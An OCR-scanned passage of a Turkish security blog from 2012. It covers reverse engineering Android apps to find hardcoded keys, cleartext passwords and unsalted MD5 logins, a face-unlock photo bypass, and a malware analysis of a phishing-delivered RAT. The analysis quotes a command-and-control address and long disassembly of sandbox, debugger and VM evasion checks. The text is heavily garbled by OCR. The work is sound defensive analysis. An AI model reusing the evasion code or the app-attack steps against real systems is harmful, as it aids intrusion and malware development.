& http:/fwww.google-analytics.com P mert
= https: /) japikey 11a8638b43
& v3.5/ jcode 15068fc
oorvenetsoretsopte-acacrcof
@ lat
lon
laac 0.0
did 000000000000000
los 2.3.4
dtid generic
lisAndroid true
er 2.5
lapiver 3.

1 |

Headers Query String [Raw |

Kaynak Kodu Incelemesi:

¢ Native uygulamalar yukarida da belirttigim gibi ¢ogunlukla Java programlama dili ile gelistirilmektedir. APK uzantili Android
uygulamasinin uzantis1 ZIP olarak degistirilerek Winzip veya Winrar gibi araglar ile agilabilir, ardindan igerisinde yer alan
Dex uzantili yani Dalvik sanal makinesinde c¢aligtirilabilen Android uygulamasi d2j-dex2jar.bat araci ve d2j-dex2jar.bat
classes.dex komutu ile jar dosyasina gevrilebilir. Ardindan JD-GUI araci ile bu jar dosyasi kaynak koduna gevirebilir ve

incelenebilir.

» Kaynak kodu incelemesi ile kaynak kodu i¢inde yer alan gomiilii sifreleme anahtarlari, web servis bilgileri gibi birgok bilgi elde

edilebilir.

e Kimi zaman bazi durumlarda kaynak koduna ¢evirmek istenilen sonuglari iiretmez bu gibi durumlarda dex dosyasi tersine

cevrilerek (disassembling) analiz edilebilir.
utilityClass.class 3¢

{

dling = true;

Object localObjectl = new DefaultHttpClient():
Object localObject2 = new HttpGet ("http://iphone .- c‘.mn.tr,-_push:'Service.asmxfgetHisseList“J:
ArrayList locallArraylList = new Arraylist();
try

{

public static ArrayList<ImkbObject> getHisseList()

localObjectl = ((HttpClient)localObjectl) .execute {{HttpUriRequest)localObject?) .getEntity();

int i;
if (localObjectl
{

'= null)

localObjectl = convertStreamToString({{HttpEntity)localObjectl).getContent()):
((String) localObjectl) .substring{{ {String)localObjectl).indexOf("4A"));
{{5tring) localObjectl) .indexOf ("<")) .aplit{™} ")

localObjectl =
localObject2 =
i=20;
int j = localObject2.length;
if (1< 3);
i
else
{
label97: dling = false;
return locallrraylist;
1
ImkbObiject locallmkbObject = new ImkbObject(
String str = localObject2[i].replace('|", ';
String[] array0fString = str.split(":"):
for (int k = 07 ; k++)
{
if (k >= array0fString.length)
1

{{String) localObjectl).subs

tring(0,

)i

"1:
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{
| | A Gomuli
Gerigel.dass GeriGel_Prob.class ( S ifre I e m e
Anahtan

while (true)
String str = null;
1
}

public String getSifreCozum()
{
try
{ . L] -
str = Crypto.decrypt ("% +snE00RTPTL @5 TUG>0EeD0PIOL HWIER", this. Sifre);
Str = Str;
return str;
1
catch (Exception localException)
{
while (true)
String str = null;

Tersine Cevirme:

¢ Kaynak koduna ¢evirmenin yeterli olmadigi durumlarda veya program akigmin degistirilme ihtiyaci oldugu durumlarda dex
dosyasi android-apktool araci ve java -jar apktool.jar d Uygulama.apk komutu ile tersine ¢evrilebilir (disassembling) ardindan java
-jar apktool.jar b Uygulama Uygulama.apk komutu ile tekrar birlestirilebilir. (assembling)

e Assembly programlama diline hakimseniz bu sayfada yer alan bilgiler 1s18inda Dalvik op kodlarini analiz edebilir ve
degistirebilirsiniz.

Dosya Sistemi Incelemesi:

¢ Android isletim sistemi uygulamalara verilerini saklamak i¢in 4 segcenek sunmaktadir; Dahili Depolama (6zel verileri saklamak

i¢in), Shared Preferences (basit depolama i¢in), Harici Depolama (6zel olmayak biiyiik veri setlerini saklamak i¢in) ve SQLite
veritabani (yapisal depolama)

Harici depolama hafiza kartini kullandig1 ve buraya kopyalanan her dosya diger tiim uygulamalar tarafindan okunabildigi igin
buraya yazilan hassas verilerin mutlaka ama mutlaka sifreli olarak yazilmasi gerekmektedir.

-i0ix

C:\lUserssMert>adbh shell

# cd datarsdatascom. 000 sshaved_prefs

cd datardatascom. #shared_prefs

# cat GeriGel.xml

cat GeriGel.xml

<?xml version='1.8" encoding="utf-8’' standalone='yes’ 7>

<map>

<hoolean name="isAkdif' value="false' />

<string name="MNezaman'>4713DDABDBBBF2CSAF3C78ER4DA473EC?EL 759 7C7ABCIBACI3ACAFEID)
22CE?35514707C227718FB372771B6PES2BEB?2</string >

<int name="Nerden' value= I

{string n ="BelkiLaz im0 8EE2B284318D25297D5389438C8DD6BA< /string>
{int name="KatHKey" value="1" >

é/map)

ndows\system32\cmd.exe - sglite

C:\UserssMert Desktop NOPcon>sglite

SQLite version 3.7.11 2812-83-28 11:35:5@

Enter ".help" for instructions

Enter SQL statements terminated with a ";"

sglite> .tables

EkAlan > Table android_metadata
Kategori Kullanici

sglite> select * from Tables;

111 iHack4Career iHack4Career thttp: /7 imertsarica i65195E82A27897FA1C4E1A1BA3IADSBEL |
FA4ABFEAF248393D2A58756586DCAA33

zglite> select * from Kullanici;
119168346889920CC19DEGE6ICIFIE21439 121

sglite> select * from Kategori;

1 iHackd4Career

sglite> select * from EkAlan;

sglite> m

Yukarida kisaca bahsettigim adimlari izleyerek ¢ok sik kullandigim Android uygulamalarina kisaca goz attigimda sans eseri bir kac
giivenlik zafiyeti ile karsilastim.
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Ik uygulamanin kullanici tarafindan girilen kullamic1 adi ve sifreyi, sifreli kanal (SSL) iizerinden gergeklestirmedigini farkettim.
Her ne kadar sunucuya gonderilen sifre, MDS5 ile hashlenmis olsa da tuz degeri (salt) kullanilmadig: i¢in iiretilen MDS5 oldugu gibi
kullanilabilmektedir. Durum bdyle olunca da kablosuz ag tizerinde ARP zehirlemesi gerceklestirerek trafiginizi kayit eden art niyetli
bir kisi hesabiniza bu bilgiler ile yetkisiz olarak erisebilir.

' 1o xil
ol
o @ 1037 Ele Edt View Proxy Tooks Window Help
el ¢ w7 A - x| @8[] v] ¥
Kullanici Girigi "Yenltye™ B o e | T ve ! @—/ v ‘ *| @ md>5
Swmelsmm] m}mﬂm|m|m|mu] k-
- http:/fysm R com username mert
. - hetp: /oo I com lpassword  A7-71-DA-5D-CC-62-18-16-09-05-31-1D-90-38-50-38

= http:/jwebservices [ com =

Kullanial Ad e rmre— -
= g CatalogExportMobile. asmx/
Sifre X
X Mobie_Logn2

Hawr

Girls yapilamadi.Litfen sifre ve kullama
adinizi kontrol ediniz.

Headers | Text | Hex Form |Raw |

Ayrica yine ayni uygulamanin isletim sistemi kayitlarina uygulamaya girmek i¢in kullanilan sifreyi agik (clear) olarak yazdigini
farkettim.

[ PrefHelper.dass Helper.cdass | User.dass | UserAreas.dass | [ Activity.class %

ctivity.this.startipp();
paramDialogInterface.dismiss();
i

s

localObject = ({RlertDialog.Builder)localObject) .create():
1
return (Dialog)localCbject;

1

public void onLoginClick(View paramView)
{
this.name this.user name.getText().toString();
this.pass this.pasaword.getText () .toString(};
Log.i("v", "user neme:" + this.name + " gifre:" + this.pass):
| this.pass = WebServis.convetToMds(this.pass);
this.remember = this.remBtn.isChecked();
if {('this.name.equals{™")) && (!this.paas.equals(""))}})
{
this.pb.getVisibility(0);
new LoginTask({null).execute {(new Object[0]);
1
else
{
InovellUtils. showToastError (gethpplicationContext (), getString(2131034114)):
1
1

public woid starthpp()
{
if ('PrefHelper.getRemember(this))
{
new CityTask(null).execute (new Object[0]);
1
else

{

this.name = PrefHelper.getUserName(this):
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L R T BT
S ol & 12:09 Fle Edit Vew Proxy Tools Window Help
— * 1 . o g V4 ke
Kullanici Girigi [Yeaitye = "lﬁ“"’ilﬁ"ﬂl ® ‘\‘l@‘ Q| 7 v’l):’ o
Ish'um.re155¢m| ]Mm RmﬂllRm]&my]Gﬂm]Norzs'
= - http:,’,-‘websemc:s-:om 'usecname mert
5 I c-taios vebService |[password A7-71-DA-5D-CC-62-18-16-09-05-31-1D-90-38-50-3
a =y CatalogExportMobile.asmx/
R oo X [

Sifre
Beni Hatirla "

st “Desktop~NOPcon - v time log.txt

op\NOPcon >c: i ep mert
’ ¢ 2 art AYifre Znert

Sehir Segimi :

POST hitp:rwebservices [N -~ N C e_Login2 No Caching | Recording

Tiim sifrelerinizi ana bir sifre ile AES ile giivenli bir sekilde dosya sistemi iizerinde saklayan baska bir uygulamanin ana sifrenin bir
kopyasini uygulama i¢inde gdmiilii olan baska bir sifre ile sifreleyerek dosya sistemi iizerine kayit ettigini farkettim. Durum bdle olunca
da bu gomiili sifre ile ana sifreyi desifre etmek, ardindan bu ana sifre ile de sifrelenmis diger tiim sifreleri desifre etmek miimkiindiir.

OVERVIEW 2 W
=TI N N

Description

-Stores your passwords securely. All passwords protected by master password and
access them all with single password. It has user friendly interface and easy to use. It uses
the AES encryption for store your passwords. You can copy and paste your password
whereever you want

-mm sifrelerinizi glvenli bir sekilde saklar. Tam sifrelerinize sadece bir ana sifre ile
erigirsiniz. Kullamei dostu bir arayize sahiptir ve kullanimi kolaydir. Geligmig bir sifreleme
yintemi olan AES sifreleme sistemini kullanir. $ifrelerinizi ve diger bilgileri kopyalayip
istediginiz uygulamaya yapistirabilirsiniz

Visit Developer's Website Email Developer

App Screenshots

T G ; SOCIAL MEDIA
g Bank -
flzer e Google+ F
E MAIL
oo e q12@gmail.com [ )

n SOCIAL MEDIA
_ 1234567390 ] ]

=]
PR RFFEEEL f@hitp:/fwww.google.com
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Gerigel.dass GeriGel_Prob.dass -Login.class .

public woid onCreate (Bundle paramBundle)

{
setTitle (N i obi1=") ;
super.onCreate (paramBundle) ;
setContentView (2130903050 ;7

. logeu() ;

this.gerikayit = getSharedPreferences("GeriGel™, 0):
this.edt = thj rikayit.edit():
this.ger iGel Prob(this.gerikayit.getString("Nezaman", Gerigel.tarih(Boolean.valueOf (false
try
{

this.v = nerdekaldik(this.ger);
if (this.v !'= null)

{
[e+] C\Windows \system32\cmd.exe

C:sUserssMertsDesktop“NOPcon>adh shell cat sdatasdatsFcom. sshared_pref s Ge
Wl iGel.xml .
IB<?xm]l version="1.8" encodifyg="utf-8' standalos®=’'yes’ 7>
I <map>
t <hoolean name sAkdif ¥ value="false" ¥
<string name="Mezaman">4713DDABDBBRAFECSAF3C?8ER4DA473ECPEL 759 7C7ABCIBACI3ACAFEID)
2 2CE?35514789C227718FB379 771 B6AEEZBES?2<{ /string >
[<int name="Nerden" wvalu -
¢ <string name="BelkiLazim0lur">8EE2B284318D25297D5387438CBDD6BA<string>
<int name="KatKey" value="1" />
< /map>

C:sUsers\Merts\Desktop~NOPcon>

ot ta I

| |

Gerigel.dass GeriGel_Prob.dass -Login.class x

private Boolean nerdekaldik({GeriGel Prob paramGeriGel Prob)
{
Boolean localBoolean:
try
{
Statix.Criptorix = paramGeriGel Prob.getSifreCozum():
UserMainMetot.Giris(this, paramGeriGel Prob.getSifreCozum({));
localBoolean = new Gerigel () .ZamanNellemde (paramGeriGel Prob, this);
if {localBoolean == null)
{
UserMainMetot.Giris¥apti = nul
localBoolean = null;
1
1
catch (Exception localException)
{
UserMainMetot.Giris¥apti = null;
localBoolean = null;
1
return localBoolean;
1

{
| | A Gomiili
Gerigel.dass GeriGel_Prob.class ( s ifre I e m e
Anahtari

while (true)
String str = null;
1
1

public String getSifreCozum()

atr = Crmtc.de-:ryp‘.;{"%é’i:cnéC’QQII—‘IZ-H!lﬁUfih:GgBﬁ-Zﬂ]@ﬂHKﬁm",. this. Sifre);
Str = Str;
return str;
1
catch (Exception localException)
{
while (true)
String str = null;

Sonug olarak Google Play'e yiiklemis oldugunuz tiim mobil uygulamalariniz art niyetli kisiler tarafindan indirilebilir ve analiz edilebilir
oldugun unutmayin bu nedenle mobil uygulamalarinizi hizmete sunmadan 6nce mutlaka ama mutlaka giivenlik testinden gegirin veya
gegirtin.
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Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Android 4.0 Yuz Kilidi Nasil Asilir ?

Source: https://www.mertsarica.com/android-4-0-yuz-kilidi-atlatma/
By M.S on April 18th, 2012

e

Bildiginiz iizere Android 4.0 (Ice Cream Sandwich) yiiz tanima 6zelligi ile birlikte gelmekte ve ekran kilidini agma unsuru olarak yiiziiniiz
de (yliz kilidi) kullanilabilmektedir ancak yiiziiniiz yerine yiiziiniiziin yiiksek ¢oziiniirliiklii bir fotografinin kullanilmasi durumunda da
ekran kilidi agilmakta ve ortaya bir giivenlik zafiyeti ¢ikmaktadir. Google tarafindan da belirtildigi {izere diisiik glivenlik seviyesine
sahip bu yiiz kilidinin, telefonlarinin giivenligine 6nem verenler tarafindan kullanilmamasi siddetle tavsiye edilir.

Google tarafindan belirtilen ekran kilitlerinin giivenlik seviyeleri asagida yer almaktadir;

* Sifre: Yiksek giivenlik

¢ Pin: Orta ve Yiiksek giivenlik
¢ Model - Orta giivenlik

* Yiiz kilidi - Diisiik giivenlik

Bilgi giivenligi farkindaligini arttirma adina galigma arkadasim Cem ONAL ile birlikte eglenceli bir video hazirladim, herkese keyifli
seyirler dilerim.

Anti Analiz

Source: https://www.mertsarica.com/anti-analiz-kodlari/
By M.S on April 23rd, 2012

e

Yakin bir arkadasim ile 12 Nisan tarihinde Nanmik Kemal Universitesi'ne bagl Corlu Miihendislik Fakiiltesi'nde gerceklesen Internet
Haftas: etkinliginden donerken bana 1 saat once kendisine ulasan e-postay1 gosterdi. E-postanin konu baghigi ("Bakalim bunu nasil
aciklayacaksm!!!!) ve icerigi ("Nokia Fotograflar.rar") siipheli oldugu i¢in arkadasima e-postay1 bana gondermesini ilettikten sonra
miimkiin olan en kisa zamanda analiz i¢in ise koyuldum.

Fwd: Bakalim bunu nasil agiklayacaksin!!!!ii Inbe

n |
]

8:18 PM (16 hours ago) -
Begin forwarded message:

From: bir dost <birdostama@gmail.com>
Date: 12 Nisan 2012 13:44:13 GMT+03:00
To: undisclosed-recipients:;

“Nokia Foto i_ql'l S r:u' =

@
/ Eklentiyi indir

2

Gelen e-posta SPAM kategorisin girmedigi i¢in direk gelen kutusuna gelmisti. E-posta, HTML igerige sahip oldugu i¢in eklenti ad1 ve
eklentiye ait resim giizel bir sekilde konumlandirilmist: ve bu nedenle dikkatsiz bir kullanici tarafindan ilk bakista eklentinin Gmail'de
oldugu diisiiniilebilirdi. E-postanin baslik bilgilerine (headers) dikkatlice bakilinca HTML kodlar ve eklentinin bulundugu kisaltilmis
(bit.ly) web adresi dikkat cekiyordu.
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Mozilla Firefox

M google.com google.com - [ Q p
To IPV'.EE']C&”II]I L]
Content-Transfer-Encoding: 7bit
Mise-Version: 1.0 (1.0)

--Apple-Mail - BOCA32C3- FBST - 4BSE - 9F63- COSAL T255E4D
Content-Transfer-Encoding: quoted-printable
Content-Type plain

Begin forvarded message

> From: bir dost <birdostasaggeail.com>

> Date: 12 Masan 2012 13:44:13 GMT+03:00

> To: undisclosed-recipients

> Subject: Bakal=Cd=Bla bunu nas=Cd=Bl] a=C3=A7=Cd=Blklayacaks=Ca=Bln!I11!!l=
>=20

> "Nokia Foto=Cd=GFraflar.rar® =20

> Exlentiyl indir

=20
--Apple-Ma1l - BOCAIDCI- FBST - 4BSE - 9F63- COSAL 7255640
Content-Transfer b

Encoding: quoted-printable

Content-Type
charset=

<htal><head></head><body bgcolor=30"sFFFrFF" ><dlv><bra<br><br>Begin forvarde=
d message:<br><br></diva<blockquote type=30D"cite”><div><b>From:</b> bir dost=
Elt;<a href=30"sailto:birdostanaggeall.con”>birdostanaggeall. com</a>Eqt; <br=
»=ch>Date:</b> 12 Nisan 2012 13:44:13 GMT+03: 00<br><b>To:</b> undisclosed- rec=
1pients:; <br=<b>Subject:</b> <b=Bakal=Cd-Bls bunu nas=Ca=811 a=C3=AT=Ca=Hlk]=
ayacaks=C4=81ln!!!1111111111e/bchrahr></diva</blockquotesediv</div><block=
quote type=3D"cite”><div>ediv class=30"geail_guote*><b><font color=30"#00009=
9°>"<a href=30"http:/ IoddeS™>Nokia Foto=Ca=OFraflar.rar</a>"</fonts<=
b> Gnbsp:<a href=30"1§ },_'ji‘a_m'r_":_'_':'_-unq srce=30"http: //1.18gur. con/MS=
yee.png*></a><dlv><img src=30"http://1.1equr.con/yHLGI.png"><a href=30"http:=
bit.ly/ToddeS"” target=30"_blank*>Eklentiyl indir.</a>
</div>
</divs<br>
«/divs</blockquotes</Dody=</htal>=

Apple-Mail-BOCAIRCI-FBET - 4BSE - OF63- COBAL T2S5E4D

Firefox Web Browser

W what Is My IP Adc LY SO R ST STE N 1 https://mail....ohhldrwBmbna % B3

™ google.com google.com «c |- Q ?

Clear List Q

Nokia Fofograflar.rar dosyasini indirip agtiktan sonra iginden ¢ikan 2 yazilimin (DSC0025.exe ve DSC0027.exe) PE baslik bilgilerinde
yer alan zaman damgalar1 10.04.2012 12:47:51 tarihini gosteriyordu.

= DSCO025,exe 1.036 KB Application 10.04.2012 15:50
DSC0027 exe 776 KB Application 10.04.2012 15:50
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Iki yazilimin ortak 6zelliklerinden biri ¢alistirilir calistirlmaz ekrana asagidaki resmi ¢ikartiyor olmastyd.

Bu iki yazilimin kullanmis oldugum antiviriis yazilimi tarafindan tespit edilmemis olmasi zararli yazilim olusturan kisiler arasinda sikca
tercih edilen Crypter (sifreleme) araci ile yazilimlarin olusturuldugu siiphesini uyandirdi.
Virustotal lizerinden 42 farkli Antiviriis yazilimi ile bu iki yazilimi tarattigimda sadece 2 tanesi bu zararli yazilimlar taniyabiliyordu.

/2 Antivirus scan for at UTC - VirusTotal - Windows Internet Explorer C'G&_

G -» g

Fle Edt View Favortes Tooks Help

i Favortes | o5 @ -2 .
»
i5 = i hitp:fjanubis. seclab.orgl7ac... Multi-Engine Antivirus Scann... | il Antivirus scan for st UTC .., X 7 Rl " M v Page~ Safety - Took- -
.A
SHAZ56
File name £ &
=4
Detection ratio. 3/ 42 ‘ O @ O
Analysis date 2012-04-15 10.42. 24 UTC ( 1 dakika ago
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Boyutu digerine kiyasla daha ufak olan DSC0027.exe yazilimini sanal makine i¢inde Immunity Debugger araci ile dinamik olarak analiz
ettigimde yazilimin 2004 yilindan kalma Flux RAT oldugunu (flServ.exe ad1 altinda ¢caligmaktadir), kendinisini explorer.exe icine enjekte
ettigini ve Vodafone 3G IP blogunda yer alan 46.155.243.4 dinamik ip adresi (*****.zapto.org) ile 2001 numarali baglant1 noktasi
iizerinden haberlesmeye ¢alistig1 rahatlikla anlagiliyordu.

Ancak DSCO0027.exe adindaki diger zararli yazilimi inceledigimde sanal makine i¢inde calismadigi gibi Anubis ve benzeri online
kum havuzu (sandbox) hizmetleri tarafindan da analiz edilemiyordu. Giinlimiizde ¢ogu zararli yazilimi olusturan ana yazilimlarin
olusturduklar1 zararli yazilimin sanal makinelerde ve kum havuzu araglarinda caligtirilmaya karst ek kontroller barindirdigi
disiintildiigiinde calismamasinin bagka bir nedeni olabilecegini pek diistinmemistim.

Norman Malware Debugger PRO araci ile zararli yazilimi inceledigimde az dnce bahsetmis oldugum kontrollerin yazilim iizerinde
mevcut olduguna dair bilgilendirme mesajlari ile karsilastim.
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Zararli yazilimi Immunity Debugger ile detayli olarak inceledigimde bu yazilimin aslinda CyberGate RAT (cyber_server.exe ad1 altinda
calismaktadir) oldugu ve Norman Malware Debugger PRO aracinin belirtmis oldugu gibi tizerinde bir¢ok anti analiz kodlarin1 (vimware,
virtualbox, anubis, debugger vb.) yer aldig1 a¢ik¢a goriiliiyordu.
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00407888 /$ 53 PUSH EBX

00407889 |. 33DB XOR EBX, EBX

0040788B |. 68 A0784000 PUSH cyber_se. 004078A0 ; /pMdule = "ShieD I.dlI




00407890 |. E8 1FDCFFFF CALL ; \ Get Modul eHandl eA
00407895 |. 85C0 TEST EAX, EAX

00407897 |. 74 02 JE SHORT cyber_se. 0040789B
00407899 |. B3 01 MOV BL, 1

0040789B | > 8BC3 MOV EAX, EBX

0040789D |. 5B POP EBX

0040789E \. C3 RETN

ThreatExpert Kontrolu
004078AC /$ 53 PUSH EBX

004078AD |. 33DB XOR EBX,EBX

004078AF |. 68 C4784000 PUSH cyber se.004078C4 ; /pModule = "dbghelp.dll"
004078B4 |. E8 FBDBFFFF CALL ; \GetModuleHandleA

004078B9 |. 85C0 TEST EAX,EAX

004078BB |. 74 02 JE SHORT cyber se.004078BF

004078BD |. B3 01 MOV BL,1

004078BF [> 8BC3 MOV EAX,EBX

004078C1 |. 5B POP EBX

004078C2\. C3 RETN

Sandbox Kontrolu
55274-640-2673064-23950 - JoeBox

004078D0 /$ 53 PUSH EBX

004078D1 |. 81C4 FAFEFFFF ADD ESP,-10C

004078D7 |. 33DB XOR EBX,EBX

004078D9 |. 54 PUSH ESP ; /pHandle

004078DA |. 6A 01 PUSH 1 ; |Access

004078DC |. 6A 00 PUSH 0 ; |[Reserved =0

004078DE |. 68 38794000 PUSH cyber_se.00407938 ; |Subkey = "Software\Microsoft\Windows\CurrentVersion"
004078E3 |. 68 02000080 PUSH 80000002 ; |hKey = HKEY LOCAL MACHINE
004078E8 |. E8 EFDAFFFF CALL ; \RegOpenKeyExA

004078ED |. 85C0 TEST EAX,EAX

004078EF |. 75 32 JNZ SHORT cyber se.00407923

004078F1 |. C74424 04 0101>MOV DWORD PTR SS:[ESP+4],101

004078F9 |. 8D4424 04 LEA EAX,DWORD PTR SS:[ESP+4]

004078FD |. 50 PUSH EAX ; /pBufSize



004078FE |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] ; |

00407902 |. 50 PUSH EAX ; |Buffer

00407903 |. 6A 00 PUSH 0 ; [pValueType = NULL

00407905 |. 6A 00 PUSH 0 ; |[Reserved = NULL

00407907 |. 68 64794000 PUSH cyber se.00407964 ; |ValueName = "Productld"”
0040790C |. 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] ; |

00407910 |. 50 PUSH EAX ; hKey

00407911 |. E8 CEDAFFFF CALL ; \RegQueryValueExA

00407916 |. 8D4424 08 LEA EAX,DWORD PTR SS:[ESP+8]

0040791A |. 3D 70794000 CMP EAX,cyber_se.00407970 ; ASCII "55274-640-2673064-23950"
0040791F |. 75 02 INZ SHORT cyber_se.00407923

00407921 |. B3 01 MOV BL,1

00407923 |> 8B0424 MOV EAX,DWORD PTR SS:[ESP]

00407926 |. 50 PUSH EAX ; /hKey

00407927 |. E8 88DAFFFF CALL ; \RegCloseKey

0040792C |. 8BC3 MOV EAX,EBX

0040792E |. 81C4 0C010000 ADD ESP,10C

00407934 |. 5B POP EBX

00407935 \. C3 RETN

76487-644-3177037-23510 - CWSandbox
00407988 /$ 53 PUSH EBX

00407989 |. 81C4 FAFEFFFF ADD ESP,-10C

0040798F |. 33DB XOR EBX,EBX

00407991 |. 54 PUSH ESP ; /pHandle

00407992 |. 6A 01 PUSH 1 ; |Access

00407994 |. 6A 00 PUSH 0 ; |Reserved = 0

00407996 |. 68 F0794000 PUSH cyber se.004079F0 ; |Subkey = "Software\Microsoft\Windows\CurrentVersion"
0040799B |. 68 02000080 PUSH 80000002 ; hKey = HKEY LOCAL MACHINE
004079A0 |. E8 37DAFFFF CALL ; \RegOpenKeyExA

004079AS5 |. 85C0 TEST EAX,EAX

004079A7 |. 75 32 JNZ SHORT cyber se.004079DB

004079A9 |. C74424 04 0101>MOV DWORD PTR SS:[ESP+4],101

004079B1 |. 8D4424 04 LEA EAX,DWORD PTR SS:[ESP+4]

004079B5 |. 50 PUSH EAX ; /pBufSize
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004079B6 |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] ; |

004079BA |. 50 PUSH EAX ; |Buffer

004079BB |. 6A 00 PUSH 0 ; |pValueType = NULL

004079BD |. 6A 00 PUSH 0 ; [Reserved = NULL

004079BF |. 68 1C7A4000 PUSH cyber_se.00407A1C ; |ValueName = "ProductId"
004079C4 |. 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] ; |

004079C8 |. 50 PUSH EAX ; |hKey

004079C9 |. E8 16DAFFFF CALL ; \RegQueryValueExA

004079CE |. 8D4424 08 LEA EAX,DWORD PTR SS:[ESP+8]

004079D2 |. 3D 287A4000 CMP EAX,cyber_se.00407A28 ; ASCII "76487-644-3177037-23510"
004079D7 |. 75 02 JNZ SHORT cyber_se.004079DB

004079D9 |. B3 01 MOV BL,1

004079DB |> 8B0424 MOV EAX,DWORD PTR SS:[ESP]

004079DE |. 50 PUSH EAX ; /hKey

004079DF |. E8 DOD9FFFF CALL ; \RegCloseKey

004079E4 |. 8BC3 MOV EAX,EBX

004079E6 |. 81C4 0C010000 ADD ESP,10C

004079EC |. 5B POP EBX

004079ED \. C3 RETN

76487-337-8429955-22614 - Anubis
00407A40 /$ 53 PUSH EBX

00407A41 |. 81C4 FAFEFFFF ADD ESP,-10C

00407A47 |. 33DB XOR EBX,EBX

00407A49 |. 54 PUSH ESP ; /pHandle

00407A4A |. 6A 01 PUSH 1 ; |Access

00407A4C |. 6A 00 PUSH 0 ; |Reserved = 0

00407A4E |. 68 A87A4000 PUSH cyber se.00407AA8 ; |Subkey = "Software\Microsoft\Windows\CurrentVersion"
00407A53 |. 68 02000080 PUSH 80000002 ; |hKey = HKEY LOCAL MACHINE
00407A58 |. E8 7TFDIFFFF CALL ; \RegOpenKeyExA

00407A5D |. 85C0 TEST EAX,EAX

00407ASF |. 75 32 INZ SHORT cyber se.00407A93

00407A61 |. C74424 04 0101>MOV DWORD PTR SS:[ESP+4],101

00407A69 |. 8D4424 04 LEA EAX,DWORD PTR SS:[ESP+4]

37



00407A6D |. 50 PUSH EAX ; /pBufSize

00407A6E |. 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] ; |

00407A72 |. 50 PUSH EAX ; |Buffer

00407A73 |. 6A 00 PUSH 0 ; |pValueType = NULL

00407A75 |. 6A 00 PUSH 0 ; |[Reserved = NULL

00407A77 |. 68 D47A4000 PUSH cyber_se.00407AD4 ; |ValueName = "Productld”
00407A7C |. 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] ; |

00407A80 |. 50 PUSH EAX ; |hKey

00407A81 |. E8 SED9FFFF CALL ; \RegQueryValueExA

00407A86 |. 8D4424 08 LEA EAX,DWORD PTR SS:[ESP+8]

00407A8A |. 3D E07A4000 CMP EAX cyber se.00407AEO ; ASCII "76487-337-8429955-22614"
00407A8F |. 75 02 JNZ SHORT cyber_se.00407A93

00407A91 |. B3 01 MOV BL,1

00407A93 [> 8B0424 MOV EAX,DWORD PTR SS:[ESP]

00407A96 |. 50 PUSH EAX ; /hKey

00407A97 |. E8 18DIFFFF CALL ; \RegCloseKey

00407A9C |. 8BC3 MOV EAX,EBX

00407A9E |. 81C4 0C010000 ADD ESP,10C

00407AA4 |. 5B POP EBX

00407AAS5\. C3 RETN

IsDebuggerPresent
00407BC8 /$ 53 PUSH EBX

00407BC9 |. 56 PUSH ESI

00407BCA |. 57 PUSH EDI

00407BCB |. 55 PUSH EBP

00407BCC |. 33DB XOR EBX,EBX

00407BCE |. 68 FC7B4000 PUSH cyber se.00407BFC ; /FileName = "kernel32.d11"
00407BD3 |. E8 14D9FFFF CALL ; \LoadLibraryA

00407BDS |. 8BF§ MOV EDLEAX

00407BDA |. 85FF TEST EDIEDI

00407BDC |. 74 17 JE SHORT cyber se.00407BF5

00407BDE |. 68 0C7C4000 PUSH cyber se.00407C0OC ; /ProcNameOrOrdinal
00407BE3 |. 57 PUSH EDI ; hModule

00407BE4 |. E8 E3D8FFFF CALL ; \GetProcAddress
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00407BE9 |. 8BE§ MOV EBP,EAX ; kernel32.IsDebuggerPresent
00407BEB |. 89EE MOV ESILEBP

00407BED |. 85ED TEST EBP,EBP

00407BEF |. 74 04 JE SHORT cyber_se.00407BF5
00407BF1 |. FFD6 CALL ESI

00407BF3 |. 8BD8 MOV EBX,EAX

00407BFS5 [> 8BC3 MOV EAX,EBX

00407BF7 |. 5D POP EBP

00407BF8 |. SF POP EDI

00407BF9 |. 5E POP ESI

00407BFA |. 5B POP EBX

00407BFB \. C3 RETN

Virtual PC
00407726 OF DB OF ; Virtual PC Kontrolii

00407727 3F DB 3F ; CHAR '?'

00407728 07 DB 07

VMWare
004076CD . B8 68584D56 MOV EAX,564D5868

004076D2 . BB 12F76C3C MOV EBX,3C6CF712
004076D7 . B9 0A000000 MOV ECX,0A

004076DC . 66:BA 5856 MOV DX,5658

VirtualBox
00407768 /$ 55 PUSH EBP

00407769 |. SBBEC MOV EBP,ESP

0040776B |. 81C4 CSFEFFFF ADD ESP,-138

00407771 |. 53 PUSH EBX

00407772 |. 56 PUSH ESI

00407773 |. 33C0 XOR EAX,EAX

00407775 |. 8985 DAFEFFFF MOV DWORD PTR SS:[EBP-12C],EAX
0040777B |. 8985 CCFEFFFF MOV DWORD PTR SS:[EBP-134],EAX
00407781 |. 8985 C8FEFFFF MOV DWORD PTR SS:[EBP-138],EAX
00407787 |. 8985 DOFEFFFF MOV DWORD PTR SS:[EBP-130],EAX
0040778D |. 33C0 XOR EAX,EAX

0040778F |. 55 PUSH EBP

00407790 |. 68 60784000 PUSH cyber se.00407860



00407795 |. 64:FF30 PUSH DWORD PTR FS:[EAX]
00407798 |. 64:3920 MOV DWORD PTR FS:[EAX],ESP

0040779B |. 33DB XOR EBX,EBX

0040779D |. 33D2 XOR EDX,EDX

0040779F |. B8 02000000 MOV EAX,2

004077A4 |. E8 TFFEFFFF CALL cyber se.00407628

004077A9 |. 8BF0 MOV ESLEAX

004077AB |. C785 DSFEFFFF >MOV DWORD PTR SS:[EBP-128],128
004077B5 |. EB 70 IMP SHORT cyber_se.00407827

004077B7 [> 8D85 DOFEFFFF /LEA EAX,DWORD PTR SS:[EBP-130]
004077BD |. 8D95 FCFEFFFF |LEA EDX,DWORD PTR SS:[EBP-104]

004077C3 |. B9 04010000 [MOV ECX,104

004077C8 |. E8 1BC2FFFF [CALL cyber se.004039E8

004077CD |. 8B85 DOFEFFFF [MOV EAX,DWORD PTR SS:[EBP-130]
004077D3 |. 8D95 D4FEFFFF [LEA EDX,DWORD PTR SS:[EBP-12C]

004077D9 |. E8 12FSFFFF [CALL cyber_se.00406CF0

004077DE |. 8B85 DAFEFFFF [MOV EAX,DWORD PTR SS:[EBP-12C]
004077E4 |. 50 [PUSH EAX

